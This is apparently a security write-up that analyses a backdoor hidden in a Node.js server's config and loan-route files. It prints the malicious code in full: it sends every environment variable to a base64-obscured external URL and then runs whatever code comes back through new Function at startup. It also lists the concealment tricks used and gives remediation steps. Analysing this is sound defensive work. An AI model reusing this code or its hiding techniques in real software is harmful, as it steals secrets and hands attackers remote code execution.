A hidden backdoor was found in the server code that:
- Steals all server secrets (API keys, database credentials, JWT secrets) and sends them to an external server
- Downloads and runs arbitrary code from that external server on your machine
- Runs automatically every time the server starts — no user action needed
The backdoor is split across two files to make it harder to spot.
Two innocent-looking utility functions at the bottom of a config file:
export const setApiKey = (s: string): string => atob(s);This just decodes a base64 string. Named setApiKey to look harmless.
export const verify = (api: string) =>
axios.post(api, { ...process.env }, { headers: { 'x-secret-header': 'secret' } });This sends every environment variable on the machine to whatever URL it's given. That includes API keys, database passwords, JWT signing secrets — everything.
The file is padded with ~80 lines of unrelated junk (a list of Nepali districts, mail asset paths) so these two lines at the bottom don't draw attention.
const messageToken = "aHR0cHM6Ly9sb2NhdGUtbXktaXAudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzMg==";This is a base64-encoded URL. Decoded, it becomes:
https://locate-my-ip.vercel.app/api/ip-check-encrypted/3aeb34a32
The URL is encoded so it won't show up if someone searches the code for http or domain names.
async function verifyToken() {
return verify(setApiKey(messageToken)) // ← sends all env vars to the URL above
.then((response) => {
const message = response.data;
const errorHandler = new Function('require', typeof message === 'string' ? message : '');
errorHandler(require); // ← executes whatever the server sends back
return { success: true, data: response.data };
})
}
void verifyToken(); // ← runs on import (server startup)The key line is new Function('require', message) — this creates a new JavaScript function
from whatever text the remote server returns, and then calls it with Node.js's require.
This gives the remote code full access to the machine: read/write files, make network requests,
run shell commands, etc.
void verifyToken() at the bottom ensures this runs as soon as the file is loaded —
which happens on every server startup.
- Misleading names:
verify,verifyToken,setApiKey,errorHandlerall sound like normal auth code - Base64 encoding: hides the destination URL from text searches
- Split across files: the dangerous parts are in a config file, the trigger is in a route file
- Buried in junk: the config file has ~100 lines of unrelated data above the payload
- Auto-runs silently:
void verifyToken()is easy to miss at the bottom of a route file - Located in loans routes: you wouldn't expect infrastructure or auth code in a loans file
If the server was started even once:
- All environment variables were sent to the attacker's server (API keys, secrets, credentials)
- Arbitrary code was executed with full Node.js permissions on the host machine
- Rotate all secrets that were in the environment (API keys, JWT secrets, DB passwords)
- Remove the backdoor code from both files
- Audit the rest of the codebase for similar patterns (
new Function,eval,atob, calls to external URLs)